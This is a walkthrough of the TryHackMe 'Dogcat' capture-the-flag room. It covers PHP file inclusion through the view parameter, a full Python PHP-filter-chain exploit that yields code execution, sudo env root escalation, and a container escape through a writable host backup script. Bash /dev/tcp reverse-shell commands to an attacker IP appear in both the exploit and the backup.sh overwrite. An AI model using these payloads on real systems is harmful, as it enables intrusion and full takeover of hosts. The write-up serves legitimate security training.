Dogcat - THM
This is the writeup for the TryHackMe medium difficulty room called Dogcat .

From the task we can already see that we are going to deal with a PHP webserver.
Recon
CMD: nmap -sS -sV -p- $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-14 17:05 CEST
Nmap scan report for 10.10.112.67
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))The scan shows us a webserver running on port 80.

Clicking either cat or dog reveals how the website works.
http://10.10.184.180/?view=dogLet’s enumerate which values does the parameter view accept.
CMD: ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://$IP/?view=FUZZ -c -mw 106
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.184.180/?view=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response words: 106
________________________________________________
category [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 43ms]
publications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
education [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
catalog [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 43ms]
categories [Status: 200, Size: 763, Words: 106, Lines: 24, Duration: 43ms]
applications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 42ms]
Education [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 42ms]
uncategorized [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
locations [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
Publications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
certification [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 44ms]
location [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 42ms]
collapse_tcat [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
communications [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 42ms]
syndication [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms]
application [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms]
offercategory [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
authentication [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 43ms]
communication [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
dedicated [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
catalogue [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
Applications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
syndicate [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 42ms]
locator [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 43ms]
vacation [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 44ms]
cats [Status: 200, Size: 751, Words: 106, Lines: 24, Duration: 43ms]
scat [Status: 200, Size: 751, Words: 106, Lines: 24, Duration: 43ms]
colocation [Status: 200, Size: 763, Words: 106, Lines: 24, Duration: 43ms]
certificate [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms]
publication [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 42ms]
Communications [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 44ms]
blogcategory [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
telecommunications [Status: 200, Size: 779, Words: 106, Lines: 24, Duration: 43ms]
catalogs [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 43ms]In the responses we notice that all the words that include either the string cat or dog returns an error.

From the error message we can conclude that whatever we type into the parameter of view will be executed as the argument of the include() function and an additional .php extension will be added to the end of the string.
Exploitation
http://10.10.184.180/?view=php://filter/convert.base64-encode/resource=./cat/../indexUsing this URL, we can get the base64 encoded content of the index.php file.

Decoding it gives us the original code.
<!DOCTYPE html>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css" />
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a>
<a href="/?view=cat"><button id="cat">A cat</button></a><br />
<?php
function containsStr($str, $substr)
{
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if (isset($_GET['view'])) {
if (containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>From the code we can clearly see how it works.
We also notice that with the parameter ext we can change the extension of the opened file.
Abusing php filters we can get a shell on the target.
Getting the 1st flag
import requests
url = "http://10.10.112.67/"
file_to_use = "cat.php"
command = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.99.147/9998 0>&1'"
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
}
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource=./cat/../{file_to_use}"
r = requests.get(url, params={
"view": final_payload,
"ext": "",
"0": command,
})
print(r.text)You can see how this exploit works here .
CMD: nc -lvnp 9998Using the exploit and starting a listener we get a shell.

The first FLAG is found in the var/www/html directory.
Getting the 2nd flag

The second FLAG is in the var/www directory.
(I only realized here that we should have assumed that there is a flag.php file in the web root.)
Getting the 3rd flag
CMD: sudo -l
Matching Defaults entries for www-data on b13221eddbc6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on b13221eddbc6:
(root) NOPASSWD: /usr/bin/envRunning the above command we notice that we are able to run env as root.
The website GTFOBins shows how we can get a shell as root.
CMD: sudo /usr/bin/env /bin/sh
The third FLAG is in the /root directory.
Getting the 4th flag
If we explore the target we realize that we are in a docker container.
CMD: df -aTh
Filesystem Type Size Used Avail Use% Mounted on
overlay overlay 9.8G 5.3G 4.0G 58% /
proc proc 0 0 0 - /proc
tmpfs tmpfs 64M 0 64M 0% /dev
devpts devpts 0 0 0 - /dev/pts
sysfs sysfs 0 0 0 - /sys
tmpfs tmpfs 481M 0 481M 0% /sys/fs/cgroup
cgroup cgroup 0 0 0 - /sys/fs/cgroup/systemd
cgroup cgroup 0 0 0 - /sys/fs/cgroup/net_cls,net_prio
cgroup cgroup 0 0 0 - /sys/fs/cgroup/cpu,cpuacct
cgroup cgroup 0 0 0 - /sys/fs/cgroup/devices
cgroup cgroup 0 0 0 - /sys/fs/cgroup/cpuset
cgroup cgroup 0 0 0 - /sys/fs/cgroup/pids
cgroup cgroup 0 0 0 - /sys/fs/cgroup/freezer
cgroup cgroup 0 0 0 - /sys/fs/cgroup/rdma
cgroup cgroup 0 0 0 - /sys/fs/cgroup/perf_event
cgroup cgroup 0 0 0 - /sys/fs/cgroup/blkio
cgroup cgroup 0 0 0 - /sys/fs/cgroup/memory
cgroup cgroup 0 0 0 - /sys/fs/cgroup/hugetlb
mqueue mqueue 0 0 0 - /dev/mqueue
shm tmpfs 64M 0 64M 0% /dev/shm
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /opt/backups
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /etc/resolv.conf
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /etc/hostname
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /etc/hosts
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /var/www/html
proc proc 0 0 0 - /proc/bus
proc proc 0 0 0 - /proc/fs
proc proc 0 0 0 - /proc/irq
proc proc 0 0 0 - /proc/sys
proc proc 0 0 0 - /proc/sysrq-trigger
tmpfs tmpfs 481M 0 481M 0% /proc/acpi
tmpfs tmpfs 64M 0 64M 0% /proc/kcore
tmpfs tmpfs 64M 0 64M 0% /proc/keys
tmpfs tmpfs 64M 0 64M 0% /proc/timer_list
tmpfs tmpfs 64M 0 64M 0% /proc/sched_debug
tmpfs tmpfs 481M 0 481M 0% /proc/scsi
tmpfs tmpfs 481M 0 481M 0% /sys/firmwareLooking at the mounts we see that the /opt/backups directory is shared between the docker container and the host machine.
CMD: ls -la
total 2892
drwxr-xr-x 2 root root 4096 Apr 8 2020 .
drwxr-xr-x 1 root root 4096 Oct 14 13:11 ..
-rwxr--r-- 1 root root 69 Mar 10 2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct 14 14:43 backup.tarThe backup.sh file is executed on the host machine every now and than, and we are able to modify its content to execute a reverse shell.
CMD: echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.99.147/10000 0>&1'" > backup.shCMD: nc -lvnp 10000After stating a listener on the attacker machine and waiting for a bit, we receive a shell.

The 4th FLAG is in the /root directory of the host machine.